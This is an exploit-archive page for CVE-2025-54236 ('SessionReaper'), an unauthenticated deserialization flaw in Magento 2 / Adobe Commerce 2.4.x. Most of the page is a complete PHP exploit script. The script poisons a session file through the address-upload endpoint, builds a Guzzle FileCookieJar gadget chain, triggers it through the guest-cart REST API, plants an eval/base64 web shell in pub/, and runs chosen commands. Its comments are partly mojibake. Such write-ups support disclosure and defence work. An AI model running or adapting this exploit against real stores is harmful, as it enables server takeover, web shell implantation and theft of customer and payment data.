PACKETSTORM 9.1 CRITICAL

๐Ÿ“„ Adobe Commerce Insecure Deserialization_PACKETSTORM:213296

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

This flaw in Magento 2 / Adobe Commerce 2.4.x enables remote attackers to manipulate internal session handling paths and abuse PHP object chains Guzzle FileCookieJar gadget to achieve arbitrary file write, leading to remote code execution...
Visit Original Source

Basic Information

ID PACKETSTORM:213296
Published Dec 24, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce Multiple 2.4.x builds Session Reaper Deserialization Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212729/ & CVEโ€‘2025โ€‘54236

[+] Summary : CVEโ€‘2025โ€‘54236 is a critical unauthenticated deserialization vulnerability affecting Adobe Commerce (Magento).
The flaw enables remote attackers to manipulate internal session handling paths and abuse PHP object chains (Guzzle FileCookieJar gadget)
to achieve arbitrary file write, leading to Remote Code Execution (RCE).

A public exploit known informally as โ€œMagento Session Reaperโ€ chains multiple weaknesses together:

Session file poisoning

JSON API injection

Object deserialization gadgets

Guzzle FileCookieJar fileโ€‘write primitive

Forced session deserialization

WebShell deployment

The attack requires no valid session, no authentication, and no user interaction.

[+] POC :

# Verification only

php poc.php https://target.com

# Execution with command

php poc.php https://target.com "whoami"

# Execution with shell code

php poc.php https://target.com "<?php system('id'); ?>"


<?php

class MagentoSessionReaperExploit {
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;

public function __construct($targetUrl) {
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = bin2hex(random_bytes(16));
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = bin2hex(random_bytes(4)) . ".php";
$this->postParam = bin2hex(random_bytes(4));
}

/**
* ุงู„ุชุญู‚ู‚ ู…ู† ูˆุฌูˆุฏ ุงู„ุซุบุฑุฉ
*/
public function check() {
$randomPath = implode('/', [
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4))
]);

$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";

$payload = $this->buildDeserializationPayload($randomPath);

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);

if (!$response) {
return "Unknown: No response from target";
}

$statusCode = $response['status_code'];
$body = strtolower($response['body']);

switch ($statusCode) {
case 400:
return "Safe: Target is patched (returns 400 Bad Request)";
case 404:
if (strpos($body, 'no such entity') !== false &&
(strpos($body, 'cartid') !== false ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false))) {
return "Appears: Target returned 404 with expected error pattern";
}
break;
case 500:
if (strpos($body, 'sessionhandler::read') !== false ||
(strpos($body, 'no such file or directory') !== false && strpos($body, 'session') !== false) ||
strpos($body, 'webapi-') !== false) {
return "Appears: Target returned 500 error with SessionHandler";
}
break;
}

return "Unknown: Unexpected HTTP status: {$statusCode}";
}

/**
* ุชู†ููŠุฐ ุงู„ุงุณุชุบู„ุงู„
*/
public function exploit($command = null) {
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";

$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);

echo "[*] Uploading session file with Guzzle payload...\n";
$formKey = bin2hex(random_bytes(6));
$uploadedPath = $this->uploadSessionFile($guzzlePayload, $formKey);

if (!$uploadedPath) {
echo "[-] Failed to upload session file\n";
return false;
}

$savePath = "media/customer_address" . dirname($uploadedPath);

echo "[*] Triggering deserialization...\n";
if (!$this->triggerDeserialization($savePath)) {
echo "[-] Failed to trigger deserialization\n";
return false;
}

echo "[+] Deserialization triggered successfully\n";

// ุชู†ุธูŠู ุงู„ู…ู„ูุงุช ุงู„ู…ุคู‚ุชุฉ
$this->cleanup();

$executeUrl = "{$this->targetUrl}/pub/{$this->exploitFilename}";
echo "[*] Executing payload at: {$executeUrl}\n";

if ($command) {
$encodedCommand = base64_encode($command);
$this->sendRequest($executeUrl, 'POST', "{$this->postParam}=" . urlencode($encodedCommand), [
'Content-Type: application/x-www-form-urlencoded'
]);
}

return true;
}

/**
* ุฑูุน ู…ู„ู ุงู„ุฌู„ุณุฉ ุงู„ุฎุจูŠุซุฉ
*/
private function uploadSessionFile($content, $formKey) {
$boundary = '----' . bin2hex(random_bytes(16));
$filename = "sess_{$this->sessionId}";

$postData = "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"form_key\"\r\n\r\n";
$postData .= "{$formKey}\r\n";

$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= "{$content}\r\n";
$postData .= "--{$boundary}--\r\n";

$url = "{$this->targetUrl}/customer/address_file/upload";

$response = $this->sendRequest($url, 'POST', $postData, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$formKey}"
]);

if (!$response || $response['status_code'] != 200) {
return null;
}

$jsonResponse = json_decode($response['body'], true);

if (isset($jsonResponse['error']) && $jsonResponse['error'] != 0) {
echo "[-] Upload failed: {$jsonResponse['error']}\n";
return null;
}

if (isset($jsonResponse['file'])) {
return $jsonResponse['file'];
}

$sessionSaveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$sessionSaveDir}/{$filename}";
}

/**
* ุจู†ุงุก payload ุฅู„ุบุงุก ุงู„ุชุณู„ุณู„
*/
private function buildDeserializationPayload($savePath) {
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];

return json_encode($payload);
}

/**
* ุชูุนูŠู„ ุฅู„ุบุงุก ุงู„ุชุณู„ุณู„
*/
private function triggerDeserialization($savePath) {
$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";

$payload = $this->buildDeserializationPayload($savePath);

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);

if (!$response) {
return false;
}

return in_array($response['status_code'], [404, 500]);
}

/**
* ุจู†ุงุก payload Guzzle/FW1
*/
private function buildGuzzleFw1Payload($targetFile, $phpContent) {
$escaped = "{$phpContent}\n";

// Serialize string with PHP binary-safe format
$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";

$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . "{$setCookieData}}";

$cookiesArray = "a:1:{i:0;{$setCookie}}";

$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . "{$cookiesArray}" .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";

return "_|{$fileCookieJar}";
}

/**
* ุชุณู„ุณู„ ู†ุต ุจุตูŠุบุฉ ASCII ุซู†ุงุฆูŠุฉ ุขู…ู†ุฉ ู„ู€ PHP
*/
private function serializeStringAscii($str) {
$result = '';
$length = strlen($str);

for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);

// Keep printable ASCII characters except backslash (92) and double quote (34)
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= chr($byte);
} else {
// Escape other characters as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}

return "S:{$length}:\"{$result}\";";
}

/**
* ุงู„ุญุตูˆู„ ุนู„ู‰ ู…ุณุงุฑ ุญูุธ ุงู„ุฌู„ุณุฉ ู…ู† ุงุณู… ุงู„ู…ู„ู
*/
private function sessionSaveDirFromFilename($filename) {
return $filename[0] . '/' . $filename[1];
}

/**
* ุฅุฑุณุงู„ ุทู„ุจ HTTP
*/
private function sendRequest($url, $method, $data = null, $headers = []) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

if ($method === 'POST' || $method === 'PUT') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$response = curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

curl_close($ch);

if ($error) {
echo "[-] cURL Error: {$error}\n";
return null;
}

return [
'status_code' => $statusCode,
'body' => $response
];
}

/**
* ุชู†ุธูŠู ุงู„ู…ู„ูุงุช ุงู„ู…ุคู‚ุชุฉ
*/
private function cleanup() {
// ูŠู…ูƒู† ุฅุถุงูุฉ ู…ู†ุทู‚ ุงู„ุชู†ุธูŠู ู‡ู†ุง
// ููŠ ุงู„ุฅุตุฏุงุฑ ุงู„ุญู‚ูŠู‚ูŠุŒ ูŠุฌุจ ุญุฐู ุงู„ู…ู„ูุงุช ุงู„ุชูŠ ุชู… ุฅู†ุดุงุคู‡ุง
}
}

// ู…ุซุงู„ ู„ู„ุงุณุชุฎุฏุงู…
if (php_sapi_name() === 'cli') {
echo "Magento SessionReaper Exploit by indoushka\n";
echo "=============================================\n\n";

if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [command]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com \"whoami\"\n";
exit(1);
}

$targetUrl = $argv[1];
$command = $argc > 2 ? $argv[2] : null;

$exploit = new MagentoSessionReaperExploit($targetUrl);

// ุงู„ุชุญู‚ู‚ ุฃูˆู„ุงู‹
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
echo "[*] Check result: {$checkResult}\n";

if (strpos($checkResult, 'Appears') !== false || strpos($checkResult, 'Unknown') !== false) {
echo "[*] Attempting exploitation...\n";
if ($exploit->exploit($command)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
} else {
echo "[-] Target appears to be safe or patched\n";
}
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

๐Ÿ’ญ Join the Security Discussion

๐Ÿ”’ Your email address will not be published. Required fields are marked *

โš ๏ธ Please be respectful and constructive in your comments. Security discussions should remain professional.